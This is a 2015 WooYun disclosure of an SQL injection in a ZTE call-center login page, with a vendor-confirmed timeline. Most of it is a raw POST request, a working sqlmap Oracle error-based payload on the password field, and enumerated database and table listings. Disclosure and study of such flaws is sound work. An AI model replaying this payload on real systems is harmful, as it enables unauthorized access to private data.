当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0113139

漏洞标题：中兴某站存在SQL注入泄露大量内部人员敏感信息（姓名、邮箱、明文密码等）

相关厂商：中兴通讯股份有限公司

漏洞作者： 深度安全实验室

提交时间：2015-05-20 17:05

修复时间：2015-07-05 08:24

公开时间：2015-07-05 08:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-20： 细节已通知厂商并且等待厂商处理中
2015-05-21： 厂商已经确认，细节仅向厂商公开
2015-05-31： 细节向核心白帽子及相关领域专家公开
2015-06-10： 细节向普通白帽子公开
2015-06-20： 细节向实习白帽子公开
2015-07-05： 细节向公众公开

简要描述：

中兴某站存在SQL注入泄露大量内部人员敏感信息（姓名、邮箱、明文密码等）

详细说明：

http://csc.zte.com.cn/CALLCENTER/Application/SystemManage/Tlogon.aspx

存在SQL注入

6.png

POST /CALLCENTER/Application/SystemManage/Tlogon.aspx HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: http://csc.zte.com.cn/CALLCENTER/Application/SystemManage/Tlogon.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: csc.zte.com.cn
Content-Length: 387
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: _ga=GA1.3.679644233.1428225909; Hm_lvt_98a7f1bca4c6826d3079a7ea36f95f30=1423296821; pgv_pvi=2347805696; ASP.NET_SessionId=o3ikyt55x2vebpudenbg1h55
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=dDwxMDYyMzU3NDM0O3Q8O2w8aTwwPjs%2BO2w8dDw7bDxpPDA%2BO2k8Mz47aTw5Pjs%2BO2w8dDxwPHA8bDxUZXh0Oz47bDxWNy40LjM7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPOW4ruWKqTs%2BPjs%2BOzs%2BO3Q8dDw7O2w8aTwwPjs%2BPjs7Pjs%2BPjs%2BPjtsPGNtZExvZ2luOz4%2BwWuvyVs6Rq%2FdmZ894WKEj1LVoN0%3D&txtUserName=123&txtPassword=123&ddlLang=ZH&hiddeOffset=-480&cmdLogin.x=23&cmdLogin.y=7

txtPassword参数

1.png

库：

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: txtPassword
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=dDwxMDYyMzU3NDM0O3Q8O2w8aTwwPjs+O2w8dDw7bDxpPDA+O2k8Mz47aTw1PjtpPDk+Oz47bDx0PHA8cDxsPFRleHQ7PjtsPFY3LjQuMzs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w85biu5YqpOz4+Oz47Oz47dDxwPGw8aW5uZXJodG1sOz47bDznlKjmiLflkI3miJblr4bnoIHplJnor6/vvIzor7fph43mlrDovpPlhaXjgII7Pj47Oz47dDx0PDs7bDxpPDA+Oz4+Ozs+Oz4+Oz4+O2w8Y21kTG9naW47Pj7pakMjxRgu28EgutmFqHWvXIK08A==&txtUserName=999&txtPassword=999' AND 2817=CTXSYS.DRITHSX.SN(2817,(CHR(113)||CHR(111)||CHR(114)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (2817=2817) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(111)||CHR(122)||CHR(102)||CHR(113))) AND 'TLuw'='TLuw&ddlLang=ZH&hiddeOffset=-480&cmdLogin.x=28&cmdLogin.y=12
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Oracle
available databases [32]:
[*] APEX_030200
[*] APPQOSSYS
[*] CALLCENTER
[*] CQ
[*] CSCWORKFLOW
[*] CTXSYS
[*] DBSNMP
[*] DOCLIB
[*] ECC_CSC
[*] ECC_CSC_DW
[*] ENCALLCENTER
[*] ENSUPPORT
[*] ENWORKFLOW
[*] EXFSYS
[*] FLOWS_FILES
[*] FLUSHDATA
[*] LINKVIEWER
[*] MDSYS
[*] NEW_SUPPORT
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SCOTT
[*] SUPPORT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] WORKFLOW
[*] XDB


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: txtPassword
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=dDwxMDYyMzU3NDM0O3Q8O2w8aTwwPjs+O2w8dDw7bDxpPDA+O2k8Mz47aTw1PjtpPDk+Oz47bDx0PHA8cDxsPFRleHQ7PjtsPFY3LjQuMzs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w85biu5YqpOz4+Oz47Oz47dDxwPGw8aW5uZXJodG1sOz47bDznlKjmiLflkI3miJblr4bnoIHplJnor6/vvIzor7fph43mlrDovpPlhaXjgII7Pj47Oz47dDx0PDs7bDxpPDA+Oz4+Ozs+Oz4+Oz4+O2w8Y21kTG9naW47Pj7pakMjxRgu28EgutmFqHWvXIK08A==&txtUserName=999&txtPassword=999' AND 2817=CTXSYS.DRITHSX.SN(2817,(CHR(113)||CHR(111)||CHR(114)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (2817=2817) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(111)||CHR(122)||CHR(102)||CHR(113))) AND 'TLuw'='TLuw&ddlLang=ZH&hiddeOffset=-480&cmdLogin.x=28&cmdLogin.y=12
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Oracle
Database: CALLCENTER
[977 tables]
+--------------------------------+
| CALLCENTER_FAULT_DESC          |
| CALL_ACCEPTMODE                |
| CALL_ACCESSINGPOPEDOM          |
| CALL_ACCESSINGPOPEDOM_2        |
| CALL_ACCESS_RECORD             |
| CALL_ADDRBOOKLOG               |
| CALL_ADDRESSBOOK               |
| CALL_ADMINMOD                  |
| CALL_ADMINMODLOG               |
| CALL_ADMINMODREQLOG            |
| CALL_ADMINMODRESPLOG           |
| CALL_AREAFRAME                 |
| CALL_AREA_SERVICEBRAND         |
| CALL_ASSISTAPPLYLOG            |
| CALL_ASSISTLOG                 |
| CALL_ASSSITDETAIL              |
| CALL_BASIC_ATTACHFILE          |
| CALL_BASIC_ATTACHPATH          |
| CALL_BASIC_BRAND               |
| CALL_BASIC_ENGSKILLMANAGE      |
| CALL_BASIC_EXTRATIME_DISTANCE  |
| CALL_BASIC_GRADE               |
| CALL_BASIC_PROBLEM_TYPE        |
| CALL_BASIC_SECRETLEVEL         |
| CALL_BASIC_SERVICE_BRAND       |
| CALL_BBS_BASICROLEPAGE         |
| CALL_BBS_STARMODEL             |
| CALL_BBS_SURVEILLANCE          |
| CALL_BBS_TEXTSHOW              |
| CALL_BUSINESS                  |
| CALL_CALLBACKAUD               |
| CALL_CALLCLASS                 |
| CALL_CALLSTATE                 |
| CALL_CALL_REGISTER             |
| CALL_CALL_REGISTERHISTORY      |
| CALL_CDEPTCONNECTOR            |
| CALL_CENTERADDR                |
| CALL_CIL_BUSINESS              |
| CALL_CIL_PHONETRANSFER         |
| CALL_CIL_SEATCORRESPOND        |
| CALL_CIL_TELCORRESPOND         |
| CALL_CONSULTAPPRAISE           |
| CALL_CONSULTREPLY              |
| CALL_CONSULTSPECIFY            |
| CALL_COUNTRY                   |
| CALL_COUNTRYQUESTIONMODE       |
| CALL_CUSTOMERADMIN             |
| CALL_CUSTOMERDEPT              |
| CALL_DEALCONSULTING            |
| CALL_DMS_ASSIGN                |
| CALL_DMS_AUDIT                 |
| CALL_DMS_UPDATE                |
| CALL_ENTERPRISECODE            |
| CALL_EQUIPMENTMANAGE           |
| CALL_EXCEPTIONLOG              |
| CALL_EXCEPTIONNOTE             |
| CALL_FAULTDEAL                 |
| CALL_FAULTOBV                  |
| CALL_FAULTUPGRADEAUD           |
| CALL_FAULTUPGRADEREQ           |
| CALL_FAULT_BOARDREPAIR         |
| CALL_FAULT_BUFFERREG           |
| CALL_FAULT_DESC                |
| CALL_FAULT_INTERRUPTTYPE       |
| CALL_FAULT_KEYTRACELOG         |
| CALL_FAULT_OLFORWARD           |
| CALL_FAULT_REASON              |
| CALL_FAULT_TRACELOG            |
| CALL_FLOW                      |
| CALL_FLOWSTATE                 |
| CALL_FROMOUTSOURCED            |
| CALL_FROMVERSIONUPGRADE        |
| CALL_LISTWORK                  |
| CALL_LOGEDIT                   |
| CALL_LOGEVENT                  |
| CALL_LOGEVENT_QUALITY          |
| CALL_LOGINFO                   |
| CALL_LOGREG                    |
| CALL_LOGREG_DEVICE             |
| CALL_LOGREG_EXTEND             |
| CALL_MAILALERT                 |
| CALL_MANAGERAUD                |
| CALL_OFFICECHANGETRACK         |
| CALL_OFFICE_HOTTEL             |
| CALL_OPERATE                   |
| CALL_OPERATOR                  |
| CALL_OUTGOODSINFO              |
| CALL_PAGELISTFIELD             |
| CALL_PAGESTATFIELD             |
| CALL_PAGETABLE                 |
| CALL_PAGETABLE_BACKUP          |
| CALL_PERSON_FAVORITE           |
| CALL_PHASE_FAULTOBV            |
| CALL_POLICY                    |
| CALL_PROBLEMINTERFACEREG       |
| CALL_PROVINCE                  |
| CALL_QUALITYREPLAY             |
| CALL_QUALITYUPGAUD             |
| CALL_QUALITYUPGREQ             |
| CALL_QUESTIONCLOSEAUD          |
| CALL_QUESTIONMODE              |
| CALL_QUESTIONTYPE              |
| CALL_QUEUPCONFIRM              |
| CALL_RELATIONPRODUCT           |
| CALL_REPORT                    |
| CALL_REPORTSTATUS              |
| CALL_RNPOOL                    |
| CALL_ROLE                      |
| CALL_ROLEPAGE                  |
| CALL_ROLEPAGEV5                |
| CALL_SAVE_BUFFERPAGE           |
| CALL_SEATCLASS                 |
| CALL_SEATGROUP                 |
| CALL_SENDMAIL                  |
| CALL_SENDMAIL_HISTORY          |
| CALL_SHIELDING_USER            |
| CALL_SPECIFYOLLOG              |
| CALL_SPTLOG                    |
| CALL_STATUS                    |
| CALL_SUBSTITUTERELATION        |
| CALL_TABLEVIEW                 |
| CALL_TABLEVIEWOLD              |
| CALL_TASKSPECIFY               |
| CALL_TEL_PROVINCE              |
| CALL_TOOUTSOURCED              |
| CALL_TOQLOG                    |
| CALL_TOVERSIONUPGRADE          |
| CALL_UNRELATINGTEL             |
| CALL_USERRESP                  |
| CALL_VISIT_BILLS               |
| CALL_VISIT_BILL_DETAILS        |
| CALL_VISIT_ITEMS               |
| CALL_VISIT_OPINION             |
| CALL_VISIT_PARAMS              |
| CALL_VISIT_SUBITEMS            |
| CALL_WORKFLOW                  |
| CALL_WORKLOG                   |
| CRM_AREA                       |
| CSC_AM_ATTACHMENT              |
| CSC_BASIC_CARRIER              |
| CSC_BASIC_CHINA_CARRIER        |
| CSC_BASIC_CUSTOMER             |
| CSC_BASIC_CUSTOMER_AREA        |
| CSC_BASIC_DEPTATTRIBUTE        |
| CSC_BASIC_DEPTINFO             |
| CSC_BASIC_DICTIONARY           |
| CSC_BASIC_FAULTMAILALERT       |
| CSC_BASIC_FMAILALERTLOFFICE    |
| CSC_BASIC_FMAILALERTPROD       |
| CSC_BASIC_FMAILALERTSC         |
| CSC_BASIC_PERMCARRIARMAP       |
| CSC_BASIC_PERMISSIONAREAMAP    |
| CSC_BASIC_PERMISSIONCUSTMAP    |
| CSC_BASIC_PERMISSIONDEPTMAP    |
| CSC_BASIC_PERMISSIONPRODMAP    |
| CSC_BASIC_PERMISSIONSCOPE      |
| CSC_BASIC_PRODEXTEND           |
| CSC_BASIC_PRODQDEPTMAP         |
| CSC_BASIC_PRODSTAIRMAP         |
| CSC_BASIC_PRODSUBCENTERMAP     |
| CSC_BASIC_SENDMAIL             |
| CSC_BASIC_SENDMAIL_HISTORY     |
| CSC_BASIC_SEQUENCES            |
| CSC_BASIC_SUSPENDREASON        |
| CSC_BASIC_USERINFO             |
| CSC_CALLLOGIDPOOL              |
| CSC_DBRESOURCES                |
| CSC_DEPT_FUNCDETAIL            |
| CSC_DEPT_FUNCTION              |
| CSC_FAULT_SUSPENDAPPLYEVENT    |
| CSC_FAULT_SUSPENDFLOW          |
| CSC_FAULT_SUSPENDLOG           |
| CSC_KB_ATTACHMENT              |
| CSC_KB_CATALOG                 |
| CSC_KB_DATA                    |
| CSC_KB_FAVORITE                |
| CSC_KB_FEEDBACK                |
| CSC_KB_INFOCATALOG             |
| CSC_KB_INFOFIELD               |
| CSC_KB_INFOREVIEW              |
| CSC_KB_INFORMATION             |
| CSC_KB_INFORMATIONSTATUS       |
| CSC_KB_INFOSCHEME              |
| CSC_KB_INFOTEMPLATE            |
| CSC_MONITOR_ACTIVESHEMES       |
| CSC_MONITOR_BASICPAGES         |
| CSC_MONITOR_COUREGCONFIG       |
| CSC_MONITOR_COUREGNUMBER       |
| CSC_MONITOR_RENDERPAGES        |
| CSC_MONITOR_SHEMES             |
| CSC_NOTIFYINFO                 |
| CSC_OSTPRO_AFFIRMCHANGE        |
| CSC_OSTPRO_AFFIRMSTOCK         |
| CSC_OSTPRO_APPLYUPG            |
| CSC_OSTPRO_AUDITSTOCK          |
| CSC_OSTPRO_CHANGERESPLAN       |
| CSC_OSTPRO_DISPATCH            |
| CSC_OSTPRO_FAULTDEAL           |
| CSC_OSTPRO_MRTDECISION         |
| CSC_OSTPRO_PROCESSWAY          |
| CSC_OSTPRO_QUOTE               |
| CSC_OSTPRO_REDISPATCH          |
| CSC_OSTPRO_SCAUDIT             |
| CSC_OSTPRO_SELFPROCESS         |
| CSC_OSTPRO_UPGAUDIT            |
| CSC_OSTPRO_VALIDATECLOSE       |
| CSC_OST_ALERTCONFIG            |
| CSC_OST_ALERTMAPDEPT           |
| CSC_OST_ALERTMAPPROD           |
| CSC_OST_ALERTMAPTYPE           |
| CSC_OST_ALERTMAPUSER           |
| CSC_OST_EPMLOG                 |
| CSC_OST_EVENT                  |
| CSC_OST_FLOW                   |
| CSC_OST_LOGINFO                |
| CSC_OST_OSTTYPE                |
| CSC_OST_PROBLEMTYPE            |
| CSC_OST_REGISTERTYPE           |
| CSC_OST_SALESNUMBER            |
| CSC_OST_SCENE                  |
| CSC_OST_SERIALNUMBER           |
| CSC_OST_STOCKPROJECT           |
| CSC_OST_STOCKQUOTE             |
| CSC_OST_STOCKSTATUS            |
| CSC_OST_STOCKUNIT              |
| CSC_OST_TIMECONFIG             |
| CSC_OST_TYPEDEPTMAP            |
| CSC_PUTOFFCALLBACK             |
| CSC_QM_BASIC_FLOW              |
| CSC_QM_ECREQUESTLOG            |
| CSC_QM_EVENT                   |
| CSC_QM_MANAGERDEAL             |
| CSC_QM_MAUDIT                  |
| CSC_QM_M_ADDITIONAL            |
| CSC_QM_M_APPLYCLOSE            |
| CSC_QM_M_FEEDBACK              |
| CSC_QM_M_REJECT                |
| CSC_QM_PROBLEMSOURCE           |
| CSC_QM_PROCESSINFO             |
| CSC_QM_QUALITYLOG              |
| CSC_QM_SUPPENDINFO             |
| CSC_QM_TIMECONFIG              |
| CSC_QM_TRACELOG                |
| CSC_QM_VALIDSOLVED             |
| CSC_QM_WF_AUDIT_EPLAN          |
| CSC_QM_WF_AUD_MARKET_DECI      |
| CSC_QM_WF_CLOSE_REPORT         |
| CSC_QM_WF_CO_QUALITYLOG        |
| CSC_QM_WF_DEV_GROUPING         |
| CSC_QM_WF_DEV_PLAN             |
| CSC_QM_WF_DEV_SOLUTION         |
| CSC_QM_WF_DEV_TASK_ASSIGN      |
| CSC_QM_WF_MARKET_DECI          |
| CSC_QM_WF_QDEAL                |
| CSC_QM_WF_REDISPATCH           |
| CSC_QM_WF_REJECT_SOLUTION      |
| CSC_QM_WF_REQ_MARKET_DECI      |
| CSC_QM_WF_REVIEWREPORT         |
| CSC_QM_WF_REVIEW_DUTY          |
| CSC_QM_WF_SALERPAUDIT          |
| CSC_QM_WF_SCDECI               |
| CSC_QM_WF_SOLUTION_CONFIRM     |
| CSC_QM_WF_SOLUTION_VERIFY      |
| CSC_QM_WF_SUBMIT_SOLUTION      |
| CSC_QM_WF_UPGRADE_AUDIT        |
| CSC_QM_WF_UPGRADE_REPORT       |
| CSC_ROLETEMPLATE               |
| CSC_ROLETEMPLATEMAPPING        |
| CSC_SUBWARRANTYOFFICEMAPPING   |
| CSC_TS_AUDIT                   |
| CSC_TS_BASICINFO               |
| CSC_TS_EVENT                   |
| CSC_TS_EXECUTE                 |
| CSC_TS_EXECUTESTATE            |
| CSC_TS_SOURCE                  |
| CSC_TS_STATE                   |
| CSC_UAM_RIGHTLOG               |
| CSC_UNIENUMS                   |
| CSC_USERSUBWARRANTY            |
| DEPTTREE                       |
| DEPT_RESPONSE_TABLE            |
| DMS_NETUNIT                    |
| DMS_NETUNIT_MAINTAINCONTRACT   |
| DR$INDEX_KB_DATA$I             |
| DR$INDEX_KB_DATA$K             |
| DR$INDEX_KB_DATA$N             |
| DR$INDEX_KB_DATA$R             |
| DR$INDEX_KB_FEEDBACK$I         |
| DR$INDEX_KB_FEEDBACK$K         |
| DR$INDEX_KB_FEEDBACK$N         |
| DR$INDEX_KB_FEEDBACK$R         |
| DR$INDEX_KB_KEYWORD$I          |
| DR$INDEX_KB_KEYWORD$K          |
| DR$INDEX_KB_KEYWORD$N          |
| DR$INDEX_KB_KEYWORD$R          |
| DR$INDEX_KB_TITLE$I            |
| DR$INDEX_KB_TITLE$K            |
| DR$INDEX_KB_TITLE$N            |
| DR$INDEX_KB_TITLE$R            |
| E$_EC_PRODUCTVERSION           |
| E$_EC_PROJECT                  |
| E$_EC_VER_CHILDEXTRACT_INFO    |
| E$_EC_VER_EXTRACT_CHILD_RELATI |
| E$_EC_VER_EXTRACT_INFO         |
| EC_PRODUCTVERSION              |
| EC_PROJECT                     |
| EC_VER_CHILDEXTRACT_INFO       |
| EC_VER_EXTRACT_CHILD_RELATION  |
| EC_VER_EXTRACT_INFO            |
| EC_VER_INTERFACE_INFO          |
| EQPCHK_BASIC_CLOSETYPE         |
| EQPCHK_BASIC_FLOW              |
| EQPCHK_BASIC_HANDBOOK          |
| EQPCHK_BASIC_LOGEVENT          |
| EQPCHK_BASIC_PAGES             |
| EQPCHK_BASIC_ROLEPAGES         |
| EQPCHK_FLOW_AUDITLOG           |
| EQPCHK_FLOW_CARRYLOG           |
| EQPCHK_FLOW_CARRYLOGPRODUCT    |
| EQPCHK_FLOW_CARRYMEMBER        |
| EQPCHK_FLOW_CARRYSOLUTION      |
| EQPCHK_FLOW_PROBLEM            |
| EQPCHK_FLOW_PROBLEMDEAL        |
| EQPCHK_FLOW_PROJECTSUMMARY     |
| EQPCHK_FLOW_REGLOG             |
| EQPCHK_FLOW_REGLOGCUSTOMER     |
| EQPCHK_FLOW_REGLOGCUSTOMERTEMP |
| EQPCHK_FLOW_REGLOGDEPT         |
| EQPCHK_FLOW_REGLOGDEPTTEMP     |
| EQPCHK_FLOW_REGLOGPRODUCT      |
| EQPCHK_FLOW_REGLOGPRODUCTTEMP  |
| EQPCHK_FLOW_REGTEAM            |
| EQPCHK_FLOW_SUMMARY            |
| EQPCHK_PLAN_EXECUTE            |
| EQPCHK_PLAN_INFO               |
| EQPCHK_PLAN_INFOPRODUCT        |
| EQPCHK_REPORT_PROJECTSUMMARY   |
| EQPCHK_REPORT_SOLUTION         |
| EQPCHK_REPORT_SUMMARY          |
| EXP_CALL_ACCESSINGPOPEDOM      |
| EXP_CALL_AREAFRAME             |
| EXP_CALL_ASSISTAPPLYLOG        |
| EXP_CALL_ASSISTLOG             |
| EXP_CALL_ASSSITDETAIL          |
| EXP_CALL_BASIC_ATTACHFILE      |
| EXP_CALL_BOARDREPAIR           |
| EXP_CALL_CALLBACKAUD           |
| EXP_CALL_DEALCONSULTING        |
| EXP_CALL_DMS_ASSIGN            |
| EXP_CALL_DMS_AUDIT             |
| EXP_CALL_DMS_UPDATE            |
| EXP_CALL_ENGSKILLMANAGE        |
| EXP_CALL_FAULTDEAL             |
| EXP_CALL_FAULTOBV              |
| EXP_CALL_FAULTUPGRADEAUD       |
| EXP_CALL_FAULTUPGRADEREQ       |
| EXP_CALL_FAULT_OLFORWARD       |
| EXP_CALL_FAULT_TRACELOG        |
| EXP_CALL_FROMOUTSOURCED        |
| EXP_CALL_FROMVERSIONUPGRADE    |
| EXP_CALL_INTERRUPTTYPE         |
| EXP_CALL_LOGEVENT              |
| EXP_CALL_LOGREG                |
| EXP_CALL_LOGREG_EXTEND         |
| EXP_CALL_MANAGERAUD            |
| EXP_CALL_PHASE_FAULTOBV        |
| EXP_CALL_QUESTIONCLOSEAUD      |
| EXP_CALL_QUEUPCONFIRM          |
| EXP_CALL_REPORT                |
| EXP_CALL_SPTLOG                |
| EXP_CALL_SUBSTITUTE            |
| EXP_CALL_TASKSPECIFY           |
| EXP_CALL_TOOUTSOURCED          |
| EXP_CALL_TOQLOG                |
| EXP_CALL_TOVERSIONUPGRADE      |
| EXP_CALL_VISIT_BILLS           |
| EXP_CALL_VISIT_BILL_DETAILS    |
| EXP_CSC_BASIC_DEPTINFO         |
| EXP_CSC_BASIC_FMAILALERTSC     |
| EXP_CSC_BASIC_PRODEXTEND       |
| EXP_CSC_BASIC_PRODQDEPTMAP     |
| EXP_CSC_BASIC_SENDMAIL         |
| EXP_CSC_BASIC_SUSPENDREASON    |
| EXP_CSC_BASIC_USERINFO         |
| EXP_CSC_CUSTOMER_AREA          |
| EXP_CSC_DEPT_FUNCDETAIL        |
| EXP_CSC_FAULTMAILALERT         |
| EXP_CSC_FMAILALERTLOFFICE      |
| EXP_CSC_FMAILALERTPROD         |
| EXP_CSC_NOTIFYINFO             |
| EXP_CSC_OSTPRO_AFFIRMCHANGE    |
| EXP_CSC_OSTPRO_AFFIRMSTOCK     |
| EXP_CSC_OSTPRO_APPLYUPG        |
| EXP_CSC_OSTPRO_AUDITSTOCK      |
| EXP_CSC_OSTPRO_DISPATCH        |
| EXP_CSC_OSTPRO_FAULTDEAL       |
| EXP_CSC_OSTPRO_MRTDECISION     |
| EXP_CSC_OSTPRO_PROCESSWAY      |
| EXP_CSC_OSTPRO_QUOTE           |
| EXP_CSC_OSTPRO_REDISPATCH      |
| EXP_CSC_OSTPRO_SCAUDIT         |
| EXP_CSC_OSTPRO_SELFPROCESS     |
| EXP_CSC_OSTPRO_UPGAUDIT        |
| EXP_CSC_OST_ALERTCONFIG        |
| EXP_CSC_OST_ALERTMAPDEPT       |
| EXP_CSC_OST_ALERTMAPPROD       |
| EXP_CSC_OST_ALERTMAPTYPE       |
| EXP_CSC_OST_ALERTMAPUSER       |
| EXP_CSC_OST_CHANGERESPLAN      |
| EXP_CSC_OST_EVENT              |
| EXP_CSC_OST_FLOW               |
| EXP_CSC_OST_LOGINFO            |
| EXP_CSC_OST_OSTTYPE            |
| EXP_CSC_OST_PROBLEMTYPE        |
| EXP_CSC_OST_REGISTERTYPE       |
| EXP_CSC_OST_SCENE              |
| EXP_CSC_OST_STOCKPROJECT       |
| EXP_CSC_OST_STOCKQUOTE         |
| EXP_CSC_OST_STOCKSTATUS        |
| EXP_CSC_OST_STOCKUNIT          |
| EXP_CSC_OST_TIMECONFIG         |
| EXP_CSC_OST_TYPEDEPTMAP        |
| EXP_CSC_OST_VALIDATECLOSE      |
| EXP_CSC_PERMCARRIARMAP         |
| EXP_CSC_PERMISSIONAREAMAP      |
| EXP_CSC_PERMISSIONCUSTMAP      |
| EXP_CSC_PERMISSIONDEPTMAP      |
| EXP_CSC_PERMISSIONPRODMAP      |
| EXP_CSC_PERMISSIONSCOPE        |
| EXP_CSC_PRODSUBCENTERMAP       |
| EXP_CSC_PUTOFFCALLBACK         |
| EXP_CSC_QM_EVENT               |
| EXP_CSC_QM_MANAGERDEAL         |
| EXP_CSC_QM_MAUDIT              |
| EXP_CSC_QM_M_APPLYCLOSE        |
| EXP_CSC_QM_M_FEEDBACK          |
| EXP_CSC_QM_M_REJECT            |
| EXP_CSC_QM_QUALITYLOG          |
| EXP_CSC_QM_VALIDSOLVED         |
| EXP_CSC_QM_WF_REDISPATCH       |
| EXP_CSC_ROLETEMPLATE           |
| EXP_CSC_ROLETEMPLATEMAPPING    |
| EXP_CSC_SUBWARRANTYOFFICE      |
| EXP_CSC_SUSPENDAPPLYEVENT      |
| EXP_CSC_SUSPENDLOG             |
| EXP_CSC_TS_AUDIT               |
| EXP_CSC_TS_BASICINFO           |
| EXP_CSC_TS_EVENT               |
| EXP_CSC_TS_EXECUTE             |
| EXP_CSC_USERSUBWARRANTY        |
| EXP_KPA_BASIC_ANALYSELOG       |
| EXP_KPA_FLOW_EVENT             |
| EXP_KPA_PROBLEMANALYSE         |
| EXP_KPA_PUBLISH_TECH           |
| EXP_KPA_RDGROUPSPECIFY         |
| EXP_KPA_TASKSPECIFY            |
| EXP_OST_BASIC_ABOLISH          |
| EXP_OST_BASIC_INFOREG          |
| EXP_OST_BASIC_INFOREG_CLOB     |
| EXP_OST_FLOW_AUDIT             |
| EXP_OST_FLOW_DEAL              |
| EXP_OST_FLOW_EVALUATE          |
| EXP_OST_FLOW_LOGEVENT          |
| EXP_OST_FLOW_SPCONFIRM         |
| EXP_OST_INFOREG_EDIT           |
| EXP_QM_AUD_MARKET_DECI         |
| EXP_QM_CLOSE_REPORT            |
| EXP_QM_CO_QUALITYLOG           |
| EXP_QM_DEV_GROUPING            |
| EXP_QM_DEV_PLAN                |
| EXP_QM_DEV_SOLUTION            |
| EXP_QM_DEV_TASK_ASSIGN         |
| EXP_QM_FLOW_AUDIT              |
| EXP_QM_FLOW_CLOSEAUD           |
| EXP_QM_FLOW_DEAL               |
| EXP_QM_FLOW_DEALAUD            |
| EXP_QM_FLOW_DIVGROAUD          |
| EXP_QM_FLOW_DIVGROUP           |
| EXP_QM_FLOW_EDITLOG            |
| EXP_QM_FLOW_ERRORCLOSE         |
| EXP_QM_FLOW_REPLY              |
| EXP_QM_FLOW_RESOLVEREPORT      |
| EXP_QM_FLOW_TASKALLOT          |
| EXP_QM_FLOW_UPGAUD             |
| EXP_QM_FLOW_UPGREPORT          |
| EXP_QM_MARKET_DECI             |
| EXP_QM_PROBLEMSOURCE           |
| EXP_QM_QDEAL                   |
| EXP_QM_REJECT_SOLUTION         |
| EXP_QM_REQ_MARKET_DECI         |
| EXP_QM_SALERPAUDIT             |
| EXP_QM_SCDECI                  |
| EXP_QM_SOLUTION_CONFIRM        |
| EXP_QM_SOLUTION_VERIFY         |
| EXP_QM_SUBMIT_SOLUTION         |
| EXP_QM_TIMECONFIG              |
| EXP_QM_TRACELOG                |
| EXP_QM_UPGRADE_AUDIT           |
| EXP_QM_UPGRADE_REPORT          |
| EXP_QM_WF_AUDIT_EPLAN          |
| EXP_QM_WF_AUD_MARKET_DECI      |
| EXP_QM_WF_CLOSE_REPORT         |
| EXP_QM_WF_CO_QUALITYLOG        |
| EXP_QM_WF_DEV_GROUPING         |
| EXP_QM_WF_DEV_PLAN             |
| EXP_QM_WF_DEV_SOLUTION         |
| EXP_QM_WF_DEV_TASK_ASSIGN      |
| EXP_QM_WF_MARKET_DECI          |
| EXP_QM_WF_QDEAL                |
| EXP_QM_WF_REJECT_SOLUTION      |
| EXP_QM_WF_REQ_MARKET_DECI      |
| EXP_QM_WF_REVIEWREPORT         |
| EXP_QM_WF_REVIEW_DUTY          |
| EXP_QM_WF_SALERPAUDIT          |
| EXP_QM_WF_SCDECI               |
| EXP_QM_WF_SOLUTION_CONFIRM     |
| EXP_QM_WF_SOLUTION_VERIFY      |
| EXP_QM_WF_SUBMIT_SOLUTION      |
| EXP_QM_WF_UPGRADE_AUDIT        |
| EXP_QM_WF_UPGRADE_REPORT       |
| EXP_TECH_ADMIN_ASSIGNTECH      |
| EXP_TECH_ANALYSIS              |
| EXP_TECH_CARRYLOG              |
| EXP_TECH_CARRYREPORT           |
| EXP_TECH_DEALER                |
| EXP_TECH_GOTO_VU               |
| EXP_TECH_LOGEVENT              |
| EXP_TECH_MANAGERAUD            |
| EXP_TECH_POINT                 |
| EXP_TECH_REQUISITION           |
| EXP_TECH_REQ_PROD              |
| EXP_TECH_REQ_SALEDEPT          |
| EXP_TECH_TASKSPECIFY           |
| EXP_TECH_VERUPGRADE            |
| EXP_VEROPELOG                  |
| EXP_VERPRODUCTRDMDOC           |
| EXP_VERPRODUCTUNIT             |
| EXP_VERUPGRADEUNIT             |
| EXP_VER_ATTACHMENTLIST         |
| EXP_VER_CORRESPONDING          |
| EXP_VER_CSM_AUD_CLOSE          |
| EXP_VER_FLOW_DOWNLOAD          |
| EXP_VER_FLOW_EVENT             |
| EXP_VER_FLOW_HRCOST            |
| EXP_VER_FLOW_PMOPEN            |
| EXP_VER_FLOW_UPGREG            |
| EXP_VER_PLAN                   |
| EXP_VER_PRODSTAIRCHECK         |
| EXP_VER_RELEASE                |
| EXP_VER_REPORT_SOLUTION        |
| EXP_VER_REPORT_SUMMARY         |
